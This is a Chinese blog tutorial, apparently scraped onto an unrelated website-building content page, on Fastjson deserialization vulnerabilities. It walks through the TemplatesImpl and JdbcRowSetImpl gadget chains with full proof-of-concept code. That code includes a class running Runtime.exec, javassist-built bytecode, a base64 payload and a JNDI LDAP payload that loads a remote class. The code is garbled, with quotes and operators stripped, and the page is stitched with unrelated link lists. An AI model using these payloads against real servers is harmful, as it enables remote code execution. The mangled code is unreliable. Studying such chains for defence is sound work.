当前位置: 首页 > news >正文

称心的常州网站建设手机可以建网站吗

称心的常州网站建设,手机可以建网站吗,全国信用信息公示系统官网,情女照片做杯子网站简介 FastJson 是 alibaba 的一款开源 JSON 解析库#xff0c;可用于将 Java 对象转换为其 JSON 表示形式#xff0c;也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。 使用 对于序列化的方法toJSONStrin…简介 FastJson 是 alibaba 的一款开源 JSON 解析库可用于将 Java 对象转换为其 JSON 表示形式也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。 使用 对于序列化的方法toJSONString()有多个重载形式。 SerializeFeature: 通过设置多个特性到FastjsonConfig中全局使用, 也可以在使用具体方法中指定特性 SerializeFilter: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化 SerializeConfig: 添加特点类型自定义的序列化配置 对于反序列化的方法parseObject()也同样有多个重载形式。 【一一帮助安全学习所有资源获取处一一】 ①网络安全学习路线 ②20 份渗透测试电子书 ③安全攻防 357 页笔记 ④50 份安全攻防面试指南 ⑤安全红队渗透工具包 ⑥网络安全必备书籍 ⑦100 个漏洞实战案例 ⑧安全大厂内部视频资源 ⑨历年 CTF 夺旗赛题解析 序列化操作 可以发现这两个的区别如果使用了 toJSONString()的属性值SerializerFeature.WriteClassName就会在序列化的时候多写入一个type后面跟着的是反序列化的类名。 反序列化操作 package pers.fastjson; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject; public class UnSerialTest { public static void main(String[] args) { String jsonStringWithType {\type\:\pers.fastjson.Student\,\name\:\RoboTerh\}; String jsonStringWithoutType {\name\:\RoboTerh\};System.out.println(use JSON.parse with type......); Object o1 JSON.parse(jsonStringWithType); System.out.println(o1); System.out.println(------------------------------------);System.out.println(use JSON.parse without type....); Object o2 JSON.parse(jsonStringWithoutType); System.out.println(o2); System.out.println(-------------------------------------);System.out.println(use JSON.parseObject with type.......); JSONObject o3 JSON.parseObject(jsonStringWithType); System.out.println(o3); System.out.println(--------------------------------------);System.out.println(use JSON.parseObject without type.........); JSONObject o4 JSON.parseObject(jsonStringWithoutType); System.out.println(o4); System.out.println(----------------------------------------);System.out.println(use JSON.parseObject without type but hava .Class); Student o5 JSON.parseObject(jsonStringWithoutType, Student.class); System.out.println(o5); }}复制代码 可以通过结果发现 1 和 5 成功反序列化没成功都是因为没有确定需要反序列化的类。 我们可以发现在引入了type之后JSON.parseObject调用了getter/setter方法JSON.parse调用了setter方法。 当然其他的方式也是可以调用getter方法的但是有条件限制 条件一、方法名需要长于 4 条件二、不是静态方法条件三、以 get 字符串开头且第四个字符需要是大写字母条件四、方法不能有参数传条件五、继承自 Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong 条件六、此 getter 不能有 setter 方法程序会先将目标类中所有的 setter 加入 fieldList 列表因此可以通过读取 fieldList 列表来判断此类中的 getter 方法有没有 setter 因为fastjson存在autoType机制, 当用户指定type时, 存在调用恶意setter/getter的情况, 这就是fastjson反序列化漏洞。 简单的漏洞 //Evil.javapackage pers.fastjson; import java.io.IOException; public class Evil { private String name;public Evil () { System.out.println(构造方法); } public void setName(String name) throws IOException { this.name name; System.out.println(调用了setName方法); Runtime.getRuntime().exec(calc); } public String getName() { System.out.println(调用了getName方法); return name; }}复制代码 //EvilTest.javapackage pers.fastjson; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject; public class EvilTest { public static void main(String[] args) { String jsonString {\type\:\pers.fastjson.Evil\,\name\:\RoboTerh\}; JSONObject o JSON.parseObject(jsonString); System.out.println(o); }}复制代码 成功弹出了计算器 我们调式分析分析 在JSON.parseObject处下的断点。 首先使用了 parse()方法进行反序列化操作。 在JSON.parse(String text, int features)创建了DefaultJSONParser对象。 在成功创建了该对象之后通过判断ch是{ / [为 token 赋值这里是 12。 在DefaultJSONParser#parse方法中通过判断 token 的值进入创建了一个JSONObject对象。 进parseObject方法, 这里会通过scanSymbol获取到type指定类, 然后通过TypeUtils.loadClass方法加载Class. 先是首先在 maping 中寻找 JDK 的内置类没有找到之后使用 ClassLoader 寻找得到clazz的之后进行返回 创建了ObjectDeserializer并且调用了getDeserializer方法。 Templateslmpl 利用链 如果一个类中的getter满足调用条件而且存在可利用点攻击链就产生了。 在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中就存在一个私有变量_outputProperties他的getter方法就满足在反序列化的时候的调用条件。 分析利用链 从漏洞触发点开始Templateslmpl#getTransletInstance方法。 这里通过调用_class[_transletIndex]的newInstance()方法进行实例化操作我们追踪_class[_transletIndex]的出处看看是否可以控制进行恶意操作。 值得注意的是我们想要达到漏洞点在getTransletInstance()方法的两个 if 语句中我们需要保证他的_name这个私有属性不为空否则就直接返回了 null而不会达到漏洞点。 在第二个语句中就是通过defineTransletClasses()方法获得了_class和_transletIndex的值进入它。 首先判断_bytecodes是否为空这里的_bytecodes同样是Templateslmpl类的成员变量可控 如果这里不为空的话就会执行。 而且这里如果_tfactory不为空的话就会导致出现异常然后返回不会继续执行程序我们需要保证它不为 null虽然他也是Templateslmpl类的成员变量但是他没有对应的setter我们可以通过Feature.SupportNonPublicField来进行修改。 接着走在后面有一个 for 循环 通过loader.defineClass修饰之后将_bytecodes[i]赋值给_class[i]跟进 defineClass 方法。 他是ClassLoader的defineClass的重写作用是将字节码转化为 Class 转回defineTransletClasses在 if 判断语句中如果它是 main class 的时候我们就为_transletIndex赋值。 现在重新回到getTranslateInstance()方法现在这里的_class[_translateIndex]就是我们为_bytecodes赋值的恶意 class我们这里将他给实例化了成功利用恶意类 现在我们可以知道getTranslateInstance()是可以执行恶意类的我们搜索在Templateslmpl类中什么调用了这个方法的。 可以发现在newTransformer()方法中使用了 getTransletInstance()方法。 继续搜索在哪里调用了 newTransformer()方法。 在getOutputProperties()方法调用了他而且这个方法在反序列化的时候会被调用现在这个利用链就完整了。 //利用链getOutputProperties() newTransformer() getTransletInstance() defineTransletClasses() _class[_transletIndex].newInstance()复制代码 POC package pers.fastjson; import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.codec.binary.Base64; import java.io.IOException; public class Fj24POC { public static class RoboTerh {} public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {ClassPool pool ClassPool.getDefault(); CtClass cc pool.get(RoboTerh.class.getName()); String cmd java.lang.Runtime.getRuntime().exec(\calc\);; cc.makeClassInitializer().insertBefore(cmd); String randomClassName RoboTerh System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); byte[] evilCodes cc.toBytecode();return Base64.encodeBase64String(evilCodes); }public static String exploitString() throws NotFoundException, CannotCompileException, IOException { String evilCodeBase64 makeClasses(); final String NASTY_CLASS com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; String exploit {RoboTerh:{ \type\:\ NASTY_CLASS \, \_bytecodes\:[\ evilCodeBase64 \], _name:RoboTerh, _tfactory:{ }, _outputProperties:{ } }}\n;return exploit; }public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { String exploit exploitString(); System.out.println(exploit); //JSON.parse(exploit, Feature.SupportNonPublicField); //JSON.parseObject(exploit, Feature.SupportNonPublicField); JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField); }}复制代码 //payload{RoboTerh:{type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,_bytecodes:[yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQAQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk],_name:RoboTerh,_tfactory:{ },_outputProperties:{ }}}复制代码 条件限制 需要开启Feature.SupportNonPublicField这个特性。 JdbcRowSetImpl 利用链 分析利用链 JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl中它本身没有实现Serializeble接口但是他是BaseRowSet类的子类该类实现了该接口所以它可以进行序列化。 链子的核心触发点是javax.naming.InitialContext#lookup的参数可控造成的漏洞。 在JdbcRowSetImpl#setAutoCommit中如果this.conn为空的时候就会调用this.connect方法。 然后在 connect 方法中就会调用Javax.naming.InitialContext#lookup方法参数是dataSourceName成员变量。 //调用链JdbcRowSetImpl对象 getDataSource setAutocommit方法 context.lookup(datasourcename)复制代码 POC package pers.fastjson; import com.alibaba.fastjson.JSON; public class Fj24_Jdbc_POC { public static void main(String[] args) { String payload { \type\:\com.sun.rowset.JdbcRowSetImpl\, \dataSourceName\:\ldap://127.0.0.1:8888/EvilObject\, \autoCommit\:\true\, }; //JSON.parseObject(payload); 成功 //JSON.parse(payload); 成功 JSON.parseObject(payload, Object.class); }}复制代码 //payload{RoboTerh:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://127.0.0.1:8888/evilObject, autoCommit:true}}复制代码 条件限制 使用了 JNDI 注入利用条件相对较低但是需要连接远程恶意服务器需要在有网的情况下执行。
http://www.hkea.cn/news/14443279/

相关文章:

  • 上海外贸论坛在哪里可以免费自学seo课程
  • 仙桃做网站的公司有哪些游戏推广是干什么
  • 做瞹瞹嗳视频网站在线观看网站设计师认证培训
  • 可信网站认证好处什么是c2c模式
  • php网站开发编程软件淘宝seo优化是什么意思
  • 网站推广文案wordpress 页面打不开
  • asp在网站制作中的作用wordpress裁剪失败
  • 温州网站链接怎么做做废铁在哪个网站推广
  • 免费空间 上传网站怎么建设手机端网站
  • 做非法网站会怎样做金融网站需要什么营业执照
  • 网站开发工程师6福州网站设计哪里比较好
  • 给客户建设网站税率邯郸信息港恋家网
  • 建设京东类的网站需要什么流程图怎么做网站营销策划
  • html网站首页网站开发p6
  • 足球比方类网站开发个人备案网站做淘宝客
  • 深圳仿站定制模板建站电子商务网站特点
  • 北京营销型网站建设爱客crm系统
  • 网站建设单一来源谈判文件免费网站正能量
  • 黑人做爰视频免费网站不错的网站建设公司
  • 建设网站需要哪些硬件设施外媒头条最新消息
  • 导航网站移动端流量占比网站投稿系统怎么做
  • 网站首页设计要求营销推广48个方法
  • 网站怎么加代码外贸公司网站建站
  • 做网站开发用哪门语言简单的网页案例
  • 见网页制作的公司网站ipage wordpress
  • 电子商务的网站的建设内容四川省住房和城乡建设厅网站电话
  • 学生做网站期末作业大连建设网信息公开
  • 做网站的企业排名网站备案的好处有哪些
  • 网站logo怎么设计大望路做网站的公司
  • 网站收录的页面被k出来开源网站系统安全性